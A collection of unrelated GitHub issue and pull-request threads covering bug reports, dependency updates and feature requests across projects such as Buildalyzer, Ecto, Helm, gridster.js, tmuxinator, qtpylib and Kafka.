System.IO.FileNotFoundException: 'Could not load file or assembly 'System.Composition.TypedParts, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'. The system cannot find the file specified.'

I'm not sure about your situation, but I had that exception once. In my case it was because I was building the very same project that I executed, so MSBuild cleaned out important files under my feet.

Hmm, but I thoutgt that is one of the main goal to be able to have a workspace for the current/same project or not? Does this means this is not porssible?

@biqas Just to be clear: the scenario I described above is when MyCoolProject tries to build itself while it's already running. In other words, MyCoolProject tries to build MyCoolProject. It basically eats its own tail by cleaning out stuff while running. If this is your scenario, you should build and copy the files required for execution into a separate location before running.
If the above is not your scenario then my solution doesn't apply.

If this is your scenario, you should build and copy the files required for execution into a separate location before running.

Thanks for the assist @jonas-johansson! That's exactly right - Buildalyzer doesn't work well when being used from the same project being run. To be more specific, it doesn't work well when you're running the project from the same location MSBuild would try to build it to.

Does this means this is not porssible?

It's still possible, you just have to run the application from somewhere other than where MSBuild would build it. The way Buildalyzer works is by essentially running dotnet build in the background. It has the same limitations as if you tried to run dotnet run and then in a second command window dotnet build while the first was still running.
One way to get around this is to publish the application (dotnet publish) that runs Buildalyzer and run it from the published location, pointing it to it's own project file. Since the published executables are self-contained and different from the ones MSBuild would normally produce, they won't conflict.

If the above is not your scenario then my solution doesn't apply.

@biqas Does this explanation sound like it's what you were hitting? Were you running Buildalyzer against the currently executing application?

@daveaglick the explanation was exactly I was hitting, will test how feasible it is to copy around the needed files. Yes I was using the same project for analyzer.Build().


Buzz Artifact on Short Teleportation

Users are observing Buzz artifact when teleporting characters or the player.

We have just released Steam Audio v2.0-beta.2. This issue should be fixed now, can you try out the latest version and let us know if you're still facing this issue?
Get the latest version from https://valvesoftware.github.io/steam-audio/.


allow to use unsafe_validate_unique with schemaless changeset if query option is provided

Elixir version
Erlang/OTP 25 [erts-13.0] [source] [64-bit] [smp:8:8] [ds:8:8:10] [async-threads:1] [jit]  Elixir 1.14.0 (compiled with Erlang/OTP 25)
Database and Version
N/A
Ecto Versions
3.9.0
Database Adapter and Versions (postgrex, myxql, etc)
N/A
Current behavior
defmodule Name do
  ...
  embedded_schema do
    field :some_field, :text
  end

  def base_query(params) do
    # build_query here
  end
end

%Name{}
|> cast(params, [:some_field])
|> unsafe_validate_unique(:some_field, Repo, query: Name.base_query(), message: "duplicate some field")

raises error: unsafe_validate_unique/4 does not work with schemaless changesets or embedded schemas, data received: #{inspect(data)}
Expected behavior
Allow to use unsafe_validate_unique/4 with schemaless/embedded changesets if query option is provided

@revati Thanks for the report. It's a bug :). I see what's wrong and will push a fix soon.

Reverted in master. Thank you!

It works 👍🏼


fix: completely remove runner.cljs from test option

Fixes #104
My apologies for introducing this bug in #101 .
Tested PR as follows:
lein install
lein new re-frame noooooooo
cd noooooooo
lein deps && npm install
lein karma

Karma ran fake-test properly.

Thanks @stevejmp :+1:


Update dependencies and remove cli-table2 dependency

Bumped all dependencies to the latest versions.
Fix a new eslint rule (self-assigning)
Remove dependency to cli-table2 to solve vulnerability.
This closes #297 and supersedes #302 and #311.
I still think that we should get rid of this complete and move to an external library. But, until I have time to do so, I think that this solution is good enough. No extra flags or external libraries needed. And colors removed completely to fix tests.

Also, remove node 4 from the tests as suggested by #303 since it's not supported by the latest eslint.
json2csv should still work on node 4, especially the rollup version. It's just not officially tested.

Coverage remained the same at 100.0% when pulling 31b49af02a60287925239357e55d41b445fb4e2f on juanjoDiaz:update_dependencies_remove_cli_table2 into 9656b3323ba1372505ab40cfe3720c779896ca41 on zemirco:master.

Coverage remained the same at 100.0% when pulling 31b49af02a60287925239357e55d41b445fb4e2f on juanjoDiaz:update_dependencies_remove_cli_table2 into 9656b3323ba1372505ab40cfe3720c779896ca41 on zemirco:master.

@knownasilya is there anything blocking this at the moment?
Are you happy to get the change merged?

Gentle reminder 🙂

v4.1.6 released


Odata v3 support (e.g. Sharepoint)

I understand its an outdated version, that said there are many enterprise customers using e.g. sharepoint wich sadly does not support odata v4.
Why does this matter:
Working against the sharepoint api is dreadful and being able to leverage graphql instead would be a blessing for developers. In addition its another a low friction use case for enterprises to get started with graphql.
I have looked if there are odata v3 to v4 proxy but could not locate any. If there is one that would work as well.

While there is no proxy, there are projects that offer conversion from odata to openapi. I'm currently checking if any of them can produce a correct openapi spec from odata v3, if so I will report back here for others to find.

@ntziolis OData is complicated specification and mixing v3 and v4 in the same handler can break things. PRs are welcome if you think it is possible.
https://docs.microsoft.com/en-us/sharepoint/dev/apis/sharepoint-rest-graph
I found this and it uses MS Graph API. We have an example for MS Graph.


How to get the $f7.mainView.activePage.name in framework7 [ v2 ]

Is your feature request related to a problem? Please describe.
I am doing the upgrade about v1 to v2, and I want to get the $f7.mainView.activePage.name in framework7 [v2], but seems it's not support in v2
Describe the solution you'd like
Is it possible to add this property?
Additional context
Can someone help me? many thanks

You can get current page HTML element like $f7.views.main.router.currentPageEl, and to get its name:
$f7.views.main.router.currentPageEl.getAttribute('data-name');

Do you want to ask a question? Are you looking for support? The Framework7 forum and Stack Overflow are the best places for getting support

Please, don't use GitHub issues for questions


Difference operation on two WithChildren elements

When constructing the complementary domain after a second trimming operation, the following error is obtained:
TypeError("unsupported operand type(s) for -: 'WithChildrenReference' and 'WithChildrenReference'",)
  File "../../nutils/nutils/topology.py", line 111, in Topology.__sub__
    refs = [ elem.reference - refmap.pop(elem.transform,elem.reference.empty) for elem in self ]

Run the code below to reproduce:
from nutils import *

def main ( ne = 10,
           nd = 2 ,
           mr = 2 ,
           r1 = 0.13,
           x1 = (0.4,0.6),
           r2 = 0.16,
           x2 = (0.6,0.3) ):

  topo, geom = mesh.rectilinear( [numpy.linspace(0,1,ne+1)]*nd )

  levelset = (geom[0]-x1[0])**2+(geom[1]-x1[1])**2-r1**2
  dom1 = topo.trim( levelset, maxrefine=mr, eps=1/1024. )
  dom2 = topo - dom1

  levelset = (geom[0]-x2[0])**2+(geom[1]-x2[1])**2-r2**2
  topo = dom1
  dom1 = topo.trim( levelset, maxrefine=mr, eps=1/1024. )
  dom3 = topo - dom1

  #Plotting
  points1, ids1 = dom1.simplex.elem_eval( [geom,1], ischeme='vtk', separate=True )
  points2, ids2 = dom2.simplex.elem_eval( [geom,2], ischeme='vtk', separate=True )
  points3, ids3 = dom3.simplex.elem_eval( [geom,3], ischeme='vtk', separate=True )
  points = points1 + points2 + points3
  ids    = ids1    + ids2    + ids3
  with plot.VTKFile('trimmed',ndigits=0) as vtkfile:
    vtkfile.unstructuredgrid( points )
    vtkfile.pointdataarray( 'ids', ids )

util.run( main )

fixed in d4ab5be.


feat: add chiado config

Motivation
Add the Chiado (Gnosis testnet) network config, so that it can be used easily.
Description

Adds the network config
Exports it for use in --network chiado
Applies the right preset for Chiado

Steps to test or reproduce
git checkout feat/add-chiado-config
lerna bootstrap
yarn build
./lodestar beacon --network chiado

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

:tada: This PR is included in v1.6.0 :tada:


e2e test provisioning code for updating kustomize files

We have this code for updating kustomize file in place for e2e tests. Which IMHO is highly confusing and goes in circles a lot.
Current state

We provide properties file to the test provisioner. This is the current UX to update kustomize file.

https://github.com/confidential-containers/cloud-api-adaptor/blob/452f450f704223e19d410b509c744c8c711522b9/test/provisioner/provision_azure.properties#L1-L14

The logic in properties file takes this and updates the kustomize file in place.
As a new dev I have to learn which config from "properties file" translates into which other config in kustomize file.

https://github.com/confidential-containers/cloud-api-adaptor/blob/main/install/overlays/azure/kustomization.yaml

As an experienced dev, person adding features to update kustomize file, I have to define new UX via properties file, write code, and educate everyone about this new UX etc.

To add to that confusion some of the values in the properties file don't translate into any kustomize file config. But they suggest how the test should behave. So there is no consistency there too. I think this mixture of UX is highly confusing and detrimental to the dev productivity of the project.

Proposal
Let the e2e test author define the kustomize file directly, however they want. This is the same UX as a regular user of the CAA. We don't diverge from what users do and have more flexibility in writing tests.

Similar issue: https://github.com/confidential-containers/cloud-api-adaptor/issues/1286

Another example that proves my point is in this PR: https://github.com/confidential-containers/cloud-api-adaptor/pull/1294. If we didn't have this whole code to update kustomization.yaml file I wouldn't have to create that PR.


Fix heap growth in Host.swift

This commit ensures that the resolve functionality only calculates
addresses and names once, as appears to be originally intended.
Furthermore, this mitigates a bug where addresses would be endlessly
appended to the addresses array, causing long term unbounded heap
growth.
--
Am I correct in thinking this needs to go to master, then cherry-picked into 4.1 and 4.0? I couldn't find any docs in the contributing guidelines about branch structure.

@swift-ci please test

@swizzlr PRs merged into master currently get auto-merged into the 4.1 branch.

@spevans Shall I open one against 4.0? I don't know if a new patch release is scheduled, but it seems like a small enough change to warrant inclusion.

Can we add a test too?

@ianpartridge Sure.

@swift-ci please test

@ianpartridge added some tests, and realized the bug wasn't fixed for remote hosts, so fixed that too.
Let me know if you want me to squash.

@swift-ci please test

@swift-ci please test and merge

@swift-ci please test and merge


Cool, but what's next?

Maybe I'm a noob but there is no even tutorial for basics and I have no clue what the hell should I do next after logged in with PTC account:

I would probably recommend re-logging in and or close the application and open it up again. If that doesn't work, revert to an older version. Once you log in, it should look like google maps with pokemon popping up as per your search filters

@MariusWolflord I tested a few recent versions. Same issue.

1.0.3 works fine for me, I think I've seen that kind of screen shot appear
before in the issues, look around. Out of all the map tools and apps out
there, this is still the best.
On Jul 30, 2016 12:54 PM, "ViBE"<EMAIL_ADDRESS>wrote:

@MariusWolflord https://github.com/MariusWolflord I tested a few recent
versions. Same issue.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/mchristopher/PokemonGo-DesktopMap/issues/419#issuecomment-236379542,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ATx7py3QQeeUoIEXPirHfzKohLOPBfh0ks5qa4_cgaJpZM4JY11a
.


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/45736

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/51167

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/52281


feat: add load requirements func with no defaults so we can handle jx gitops requirements merge nicely

/approve


"cache" directory in .gitignore?

The .gitignore file has a cache line, which means that new files in the functions/cache/ directory will be ignored by git. Is this intentional? It was added as part of the composer integration in d37c684570b3d1c641b5489dbbe45a099bfd87e2; perhaps it should be more specific?
I noticed this because I pulled this plugin code into the repository for a site I'm working on; because of the .gitignore, the functions/cache/ directory was not checked into my project repository. I've addressed the issue in my project by commenting out the .gitignore line, since I'm not sure what specifically it is supposed to apply to.

seems that maybe the folder should have just been named something less generic (and often ignored). i hear ya. top-level blah blah blah :) but a name tweak would be clear and avoid any confusion.
next time :)

On case-sensitive file systems (like MacOS) this .gitignore still results in /lib/Cache being ignored, which shouldn't happen.
To fix this, the following change to .gitignore does the trick:
/cache
!/lib/Cache

On case-sensitive file systems (like MacOS) this .gitignore still results in /lib/Cache being ignored, which shouldn't happen.
To fix this, the following change to .gitignore does the trick:
/cache
!/lib/Cache


ServiceBus track2 mgmt client library

All SDK Contribution checklist:
This PR is for eventhub mgmt track2 preview version.
Test cases of Subscriptions and Rules are ignored currently and they can be run after releasing new ResourceManager version.
This checklist is used to make sure that common guidelines for a pull request are followed.

[ ] Please open PR in Draft mode if it is:

Work in progress or not intended to be merged.
Encountering multiple pipeline failures and working on fixes.

[ ] If an SDK is being regenerated based on a new swagger spec, a link to the pull request containing these swagger spec changes has been included above.
[ ] I have read the contribution guidelines.
[ ] The pull request does not introduce breaking changes.

General Guidelines and Best Practices

[ ] Title of the pull request is clear and informative.
[ ] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[ ] Pull request includes test coverage for the included changes.

SDK Generation Guidelines

[ ] The generate.cmd file for the SDK has been updated with the version of AutoRest, as well as the commitid of your swagger spec or link to the swagger spec, used to generate the code. (Track 2 only)
[ ] The *.csproj and AssemblyInfo.cs files have been updated with the new version of the SDK. Please double check nuget.org current release version.

Additional management plane SDK specific contribution checklist:
Note: Only applies to Microsoft.Azure.Management.[RP] or Azure.ResourceManager.[RP]

[ ] Include updated management metadata.
[ ] Update AzureRP.props to add/remove version info to maintain up to date API versions.

Management plane SDK Troubleshooting

If this is very first SDK for a services and you are adding new service folders directly under /SDK, please add new service label and/or contact assigned reviewer.

If the check fails at the Verify Code Generation step, please ensure:

Do not modify any code in generated folders.
Do not selectively include/remove generated files in the PR.
Do use generate.ps1/cmd to generate this PR instead of calling autorest directly.
Please pay attention to the @microsoft.csharp version output after running generate.ps1. If it is lower than current released version (2.3.82), please run it again as it should pull down the latest version.

Note: We have recently updated the PSH module called by generate.ps1 to emit additional data. This would help reduce/eliminate the Code Verification check error. Please run following command:
  `dotnet msbuild eng/mgmt.proj /t:Util /p:UtilityName=InstallPsModules`

Old outstanding PR cleanup
Please note:
If PRs (including draft) has been out for more than 60 days and there are no responses from our query or followups, they will be closed to maintain a concise list for our reviewers.

/azp run prepare-pipelines

/azp run net - cdn - ci

/azp run net - servicebus - ci

/azp run net - servicebus - ci

/azp run prepare-pipelines

/azp run prepare-pipelines

/azp run net - servicebus - ci.mgmt

/azp run prepare-pipelines

/azp run net - servicebus - ci.mgmt

/azp run prepare-pipelines

/azp run net - servicebus - ci.mgmt


new(falco): add flux deployment config

Add Falco flux deployment config.
@nikimanoledaki first time using Flux. Looking forward to hearing more tips from you and happy to make any necessary adjustments.
Our new dedicated repo contains relevant docs https://github.com/falcosecurity/cncf-green-review-testing
Action Items:

[ ] Clarify cluster requirements and setup: https://github.com/falcosecurity/cncf-green-review-testing/issues/2
[ ] Synthetic Workloads for Falco https://github.com/falcosecurity/cncf-green-review-testing/issues/3, also checkout our current setup in https://github.com/falcosecurity/cncf-green-review-testing. This is just to get us going with something. Open to make any adjustments or change the approach altogether.

Tracking:

https://github.com/falcosecurity/cncf-green-review-testing/issues/4

CC Falco maintainers @leogr @LucaGuerra @maxgio92

@incertum This looks good from a Flux POV. On the knode requirements I added some feedback here https://github.com/falcosecurity/cncf-green-review-testing/issues/2#issuecomment-1887795831

@incertum we've migrated to the new cluster managed with tofu. So we're ready to merge this.
Could you sign the commits? As there is a problem with the DCO check. Thx!

@incertum we've migrated to the new cluster managed with tofu. So we're ready to merge this.
Could you sign the commits? As there is a problem with the DCO check. Thx!

I did commit them with sign-off last week, seems all checks have passed. Are there still issues?

I did commit them with sign-off last week, seems all checks have passed. Are there still issues

@incertum the sign-off looks good but could you enable GPG so that signed commits are verified and then rebase please?


Ubuntu 15.10 Error

ImportError: Twisted requires zope.interface 3.6.0 or later: no module named zope.interface.

Thanks for reporting this. Twisted should no longer be required and I'm going to update that.
This error usually occurs when you're trying to install inside a virtualenvironment (are you?) because of a conflict. You can come out of the virtualenvrionment, and uninstall twisted from outside of the virtualenvironment. After that Twisted install inside the virtualenvironment works.
Let me know if this works.

@muneeb-ali
I encountered the "ImportError" as scriptzteam, and I do install the blockstack tool inside a virtualenvironment.
So I tried again in another computer(not virtualenvironment). But the Error showed again. How can I fix it?
If in a virtualenvironment, how to "uninstall twisted from outside of the virtualenvironment"?.
Thank you~

Hi, @scriptzteam
Did you solve the "ImportError" mentioned above? Could you please share with me how to solve this problem?

@lxw0109 can you paste the stack trace of the error? Thanks,

Also, if this error occurred while installing blockstack can you please start an issue on https://github.com/blockstack/blockstack-cli/issues instead of here?

Thank you, @muneeb-ali
My Issue is presendted here

@scriptzteam @lxw0109 Thanks for reporting this earlier. I wanted to update you guys that the resolver was merged with Blockstack Core. You can read the docs and test API endpoints at: https://core.blockstack.org.
You can deploy your own node by following the install instructions.
Closing this issue. Feel free to open new issues in the blockstack-core repo -- thanks!


remove_widget console error

I'm trying to remove all the widgets with the class 'extraColumn1'. (I have 4 widgets with this class).
My code:
gridster.remove_widget($('.extraColumn1'));
All the widgets are removed but I got an error in the console -> (4) 'Uncaught TypeError: Cannot read property 'row' of undefined'
I did this-> https://github.com/ducksboard/gridster.js/issues/63 but no success..
Thanks in advance!

+1

+1

+1

+1

Solve to me:
      gridster = $('.gridster ul:first').data('gridster')
      gridster.remove_widget($(@node).parent(), true)
      $(@node).empty()

In my application i had to remove the Element from the dom after use the remove_widget function and put a validation to prevent the card to moveup inside the remove_widget function in this part:
$el.fadeOut($.proxy(function() {
    $el.remove();
    $nexts.each($.proxy(function(i, widget) {
        if($(widget).coords().grid)
        {
            this.move_widget_up( $(widget), wgd.size_y );
        }
    }, this));

inside the $next.each i did a validation verifying if the coords are not undefined and never had the problem again! i don't think this is the better solution but it is working :)


1.x legacy removal tracker

The following configuration options have been obsoleted but remain as hidden flags for compatibility. They are scheduled for removal in a future release.

[ ] --auto-ipv6-node-routes (1.0)

I was playing around with the idea that deprecated code could be wrapped in something like:
if versioncheck.DeprecateIn("1.3") {
   ...deprecated code...
}

Then, we either have a runtime check in versioncheck.Deprecated() that calls Fatalf() with a callstack if the version is beyond the specified version, or alternatively have a shell script invoked during postcheck that greps around for these lines and fails at buildtime.
We could set it up so that when the version gets bumped to X.Y.90, it considers the version to be X.Y+1 and fails the compile, so the PR which bumps master to the new X.Y.90 would also need to consider either removing deprecated code, or bumping the deprecation version further.


fix: add back rowcounts and byte scanned to dbt cli and run_results.json

Description
Fix https://github.com/dbt-athena/dbt-athena/issues/374
This approach doesn't cover cases where we do batch inserts due to partition limitations.
Models used to test - Optional

TODO

[ ] Test with table materialization (hive and iceberg)
[ ] Test with incremental append materialization (hive and iceberg)
[ ] Test with incremental merge materialization (iceberg)
[ ] Test with incremental partition overwrite materialization (hive)
[ ] Test when partition limits are reached (iceberg/hive) with table
[ ] Test when partition limits are reached (iceberg/hive) with incremental loads

Checklist

[ ] You followed contributing section
[ ] You kept your Pull Request small and focused on a single feature or bug fix.
[ ] You added unit testing when necessary
[ ] You added functional testing when necessary

@svdimchenko when you have time could you have a look at this? - somehow it works for me, I want to test intensely against specific edge cases.

I compared data_scanned_in_bytes with the "Data Scanned" from the Athena recent queries tab and the value is consistently 4.8% greater. @nicor88 @svdimchenko do you have any ideas why ?

As you can see from the implementation we purely pass the result of the cursor to result.
Few ideas:

try to run a simple query without dbt, using PyAthena and see if you get the same difference
try out if this 4.8% difference exists in the previous version of the adapter e.g. 1.5.1
did you try to use boto3 athena client and see what you get for the same execution id?

Oh silly me, it's because of binary: https://www.gbmb.org/bytes-to-mb


バグや気づきの吹き出しをクリックするとその操作のみにフィルタリングされるが、何手か前も表示されていると良い

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

#484 により改善するため，クローズとします．


Enhancement: Allow deep overriding of Values in a list using -f values.yaml the way it works with --set

There's a strange asymmetry since Helm 2.5.0: one can override individual values that are part of Values inside lists with the syntax --set servers[0].port=8080 but one cannot do the equivalent override using -f override_values.yaml overrides, i.e. the following does not work:
# values.yaml
servers:
- protocol: tcp
  port: 80

# override_values.yaml
servers[0]:
  port: 8080

It's unintuitive that one can do deep overrides in lists using indexes via --set syntax but not with -f overrides.
In fact, based on this StackOverflow Q&A with 5k views, indexed -f override seemed to work at some point in the past, maybe with v2, but it doesn't seem to work anymore.
My questions are:

Is this intended behaviour, that one cannot use -f for deep overrides, the way one can do it with --set?
When was the behaviour changed? Per StackOverflow Q&A it used to be possible (albeit with +/- 1 differences in index)
Would it be possible to symmetrise --set and -f, by adding the deep override capability to -f overrides?

I looked carefully through previous issues, but couldn't find a recent one that was quite as explicit - there may well have been bugs/changes over time so I'm not sure old issues apply one-to-one.
Here are a few I looked at:

https://github.com/helm/helm/issues/5711
https://github.com/helm/helm/issues/11734

I've looked into this a bit. The logic for set uses a complex parser that handles parsing the = of a set instruction but also checks for [ and traverses as necessary. I can experiment with implementing a similar functionality here, as far as I can tell the same logic can't be replicated directly because --set doesn't allow you to supply a map as the value, and only expects to parse a string

FWIW, I can't replicate this in helm 3.5 or helm v2.16.10, which came out in august 2020, a month before the user's stack overflow comment. Here's what i've tried to replicate:
Sample template stub:
      {{- with .Values.volumes }}
      volumes:
        {{- toYaml . | nindent 8 }}
      {{- end }}

values.yaml:
volumeMounts:
- name: foo
  mountPath: "/etc/foo"
  readOnly: true

override.yaml:
volumeMounts[0]:
  name: foo2

output stub:
❯ ./helm version
Client: &version.Version{SemVer:"v2.16.10", GitCommit:"bceca24a91639f045f22ab0f41e47589a932cf5e", GitTreeState:"clean"}
Error: Get "https://<IP_ADDRESS>:58646/api/v1/namespaces/kube-system/pods?labelSelector=app%3Dhelm%2Cname%3Dtiller": dial tcp <IP_ADDRESS>:58646: connect: connection refused

❯ ./helm template . -f overlay.yaml
...
          volumeMounts:
            - mountPath: /etc/foo
              name: foo
              readOnly: true

I think there is a compatibility concern in this proposal: e.g. servers[0]: might clash with an existing key, and AFAIU, this proposal assumes this wouldn't be the case.
Helm tries very hard to be backwards compatible. Due to its widespread use as a production deployment tool. As unusual as this might sound, I'm sure someone out there uses has a [n] in a values file. Which would get broken.
An opt-in mechanism, e.g. a --values-set flag would be needed I think. We would also certainly need PRs for docs, etc too (but thanks for the existing PR!). I do think this is a useful feature overall.

Thank you for the feedback. I can begin work on updating the documentation repo as well with a PR.
As far as the toggle, would you be open to a configuration in Chart.yaml instead of a cli flag? My thought is for use cases like argocd, where additional work would need to be done to propagate this argument down to the command line

To achieve the same effect using a YAML file, you need to redefine the entire list. Here's how you can structure your override_values.yaml:


feat: Add Ruby 3.2 to the test matrix

This PR is mostly to demonstrate the issue solved by https://github.com/tmuxinator/tmuxinator/pull/889
For further discussion
It's sort of unclear which versions of Ruby we want to test against at the moment. Based on the ruby maintenance schedule, Ruby < 3.0 was end of life as of 2023-03-31.
I'm open to the idea of cleaning up the test matrix and removing Ruby 2 support for tmuxinator.
Ruby 3.0 is also going end of life quite soon, 2024-03-31. How long should we continue testing with it after EOL?
Should we also maybe test against Ruby 3.1?
We're also testing against literally all versions of tmux since 1.5.
Would it make sense to at least collapse 3.1[,a,b,c] to just 3.1c?
Happy to report an issue for this discussion about which versions we want to support and test against.

I think dropping <3.0 makes sense, and is in line with the policy stated in the README

tmuxinator aims to be compatible with the currently maintained versions of Ruby

By the same logic we could drop 3.0 as of the end of the month, but assuming it's not blocking anything else, you could keep it an extra year until April 2025.
I think 3.1 should be added to keep in line with the policy and possibly also 3.3?

Is there any reason you want to reduce the number of tmux versions? Is backwards compatibility blocking anything?

The introduction of Ruby > 3.0 causes rubocop to fail.  I think we have to get to v0.61.0 to get this fix.

Is there any reason you want to reduce the number of tmux versions?

We're currently testing against 3.1, 3.1a, 3.1b, and 3.1c; tmux appears to follow semver conventions, where there are expected to be no breaking changes between 3.1 and 3.1c. I don't really feel that strongly about reducing the tmux versions list if there's a good reason to test against each version like this.

Nice. Are you running into any blockers when upgrading rubocop?

We're currently testing against 3.1, 3.1a, 3.1b, and 3.1c; tmux appears to follow semver conventions, where there are expected to be no breaking changes between 3.1 and 3.1c. I don't really feel that strongly about reducing the tmux versions list if there's a good reason to test against each version like this.
Like I said, I don't really see a point in dropping any of the versions even if they don't do anything. At worst it's just a bit of wasted compute on the microsoft servers.

Rubocop adds cops as it upgrades, and we have some failing cops. One way to upgrade is to rely on .rubocop_todo.yml which just excludes existing occurrences of failures, which we can work on over time to correct.
It also seems like upgrades between major versions of rubocop (i.e. 0.x -> 1.x -> 2.x) have more than just new cops. Many cops are renamed, split, or merged into other cops. I'll open a PR at some point when I get it to a good state, but no promises on timeline. 😄

Ok. Let me know if you need help on anything.

I've rebased this PR on top of https://github.com/tmuxinator/tmuxinator/pull/905 to demonstrate rubocop works with all existing supported versions of ruby in addition to 3.1 and 3.2.

Closing this in favor of https://github.com/tmuxinator/tmuxinator/pull/907


fix(ast_tools): fix miscalculation of enum layouts.

Fixes a bug with how we were calculating the size of enums when there are different padding on variants and there aren't enough niches. Now it aligns the largest variant size to the largest alignment before consuming niches.

#5774  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @rzvxa and the rest of your teammates on  Graphite

Am going to merge this, and then address the issues raised in my comment above in a follow-on.

Merge activity

Oct 21, 8:18 AM EDT: The merge label '0-merge' was detected. This PR will be added to the Graphite merge queue once it meets the requirements.

Am going to merge this, and then address the issues raised in my comment above in a follow-on.

Actually, I can't understand this at all. To calculate niches correctly, need to know the value of the variant discriminants, which isn't easily available at this stage. I think to make it exactly correct, will need quite a large refactoring. In any case, for AST transfer, we need to know not just how many niches, but their positions and values. So will need a rework for that anyway. I'll return to this later.


Enable Travis CI

Flipped the switch on Travis CI, now we just need the config set up!

Cool, the setup is already there 👍


protobuf removal from grpc++

The C++ layer currently depends too much on protobuf. We need to be able to support other marshalling APIs, and first get rid of the hard dependency on protobuf.

Started some refactoring to get to this.

It's likely worth splitting protobuf entirely out of grpc++.a, but I think this can occur post-beta.

Can this be closed ?

Yes.


Fixed typos in address space, subnet string

Corrected the slashes in address prefix and subnet range

@jayhaddad : Thanks for your contribution! The author(s) have been notified to review your proposed change.

This article was recently updated.
#please-close


Server Mode

I often roam around my university campus and I want to view this map on my phone while doing this, However, I just want to "view" the scan that my computer is making on a VPN instead of the phone doing an extra scan itself. I know that ngrok.io actually scans from your phone using its IP (Correct me if I'm wrong) and so is not 100% safe.
Is server mode what I want, or do I have to use a remote desktop app?

You are wrong it doesn't scan using your phone resources. Easy way to tell is that the stats are exactly the same on both the computer and phone and so are the scanned locations. Your mobile browser doesn't have the necessary resources to run a scan anyway.

So I am 100% safe running from ngrok on the same phone that has my main account?

Any way to run without using ngrok.io?


Algo with 1S resolution does not get a bar every second

If I request a bar every second, I would expect to get, well... a bar every second, even if the quote has not changed.
from qtpylib.algo import Algo
from time import time

class SecBar(Algo):
    def on_bar(self, instrument):
        print('bar {:.0f} {}'.format(time(), instrument.bar['datetime']))

if __name__ == '__main__':
    SecBar(["AAPL"], '1S').run()

But as you can see there are multi-second gaps between bars:
$ python sec_test.py
bar<PHONE_NUMBER> 2016-11-11 06:04:21
bar<PHONE_NUMBER> 2016-11-11 06:04:23
bar<PHONE_NUMBER> 2016-11-11 06:04:26
bar<PHONE_NUMBER> 2016-11-11 06:04:28
bar<PHONE_NUMBER> 2016-11-11 06:04:32
bar<PHONE_NUMBER> 2016-11-11 06:04:34
bar<PHONE_NUMBER> 2016-11-11 06:04:37
bar<PHONE_NUMBER> 2016-11-11 06:04:40

Am I misunderstanding how bars are supposed to work?

Well, it should in theory, but I took a different approach here in favor of efficiency...
The way this works now is that it resamples data to the strategy resolution on every new tick that is received, so if there's a 5 second gap between ticks, you won't get bar events during that time.
However, when the new tick is received the self.bars / instrument.bars / instrument.get_bars() should get you the full bar history for every second - even if the quote has not changed.
The idea behind this decision was that if nothing's happening in the market, its likely that the strategy shouldn't take any action - but when something is happening (a tick received), you'll have access to the full data for calculating moving averages, etc.
I'm still thinking if there's an elegant way (or a reason) to have the bar event fire every second that doesn't involves without using threads and without putting unnecessary strain on the system.

Ok... couldn't help it :)
If you'll add "force_resolution" = True to your strategy initializer, you'll get a bar every resolution - regardless of whether or not new ticks were received.
Version 1.5.27 released.

Unfortunately it's still skipping beats with force_resolution=True.  I'll see if I can fix it.
$ python sec_test.py
bar<PHONE_NUMBER> 2016-11-11 20:26:00
bar<PHONE_NUMBER> 2016-11-11 20:26:01
bar<PHONE_NUMBER> 2016-11-11 20:26:02
bar<PHONE_NUMBER> 2016-11-11 20:26:04
bar<PHONE_NUMBER> 2016-11-11 20:26:05
bar<PHONE_NUMBER> 2016-11-11 20:26:06
bar<PHONE_NUMBER> 2016-11-11 20:26:07
bar<PHONE_NUMBER> 2016-11-11 20:26:09
bar<PHONE_NUMBER> 2016-11-11 20:26:10
bar<PHONE_NUMBER> 2016-11-11 20:26:11
bar<PHONE_NUMBER> 2016-11-11 20:26:13
bar<PHONE_NUMBER> 2016-11-11 20:26:15
bar<PHONE_NUMBER> 2016-11-11 20:26:16

So I tracked the issue down to Algo._tick_handler(); it's not a thread/timing issue, it's how _tick_handler decides if it's got a new bar:
    if len(bar.index) > self.tick_bar_count > 0:
        self._bar_handler(bar)

Which I think is saying if this bar has more bars than the last bar, call the bar handler?  I don't really understand this section, but len(bar.index) and self.tick_bar_count are often the same, so it doesn't fire a bar.

Hopefully fixed in v. 1.5.29

Thanks, much better.  It still skips seconds after running for a while, but I can probably live with it.

I see the same issue. It skips seconds after running for a while.


Update: Reworked algorithm for finding mask

get_mask function now finds mask by creating mask image bigger than
original image by two pixels and floodfilling that image based on
where seed was picked and comparing 4 neighboring pixels next to it
if they match the predicate.

trackbars - all previous trackbars where removed couse they were not
needed anymore. We added two new ones with witch we can
regulate matching predicate values. Low threadshold and
high threashold.

image_search - added one if statment that check if we can actually
open image file.

cc @mrshu


KAFKA-16323: fix testRemoteFetchExpiresPerSecMetric

Context
The test testRemoteFetchExpiresPerSecMetric is failing in CI, however it succeeds locally. I can not reproduce this failure in local.
Jira: https://issues.apache.org/jira/browse/KAFKA-16323
Solution
Instead of getting the number from yammer metrics, we can check the metric counter and see if it increased
Test
run  ./gradlew core:test --tests kafka.server.ReplicaManagerTest.testRemoteFetchExpiresPerSecMetric and it passed
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

updated @showuon
it works in my local, thanks for the sharing!

@johnnychhsu
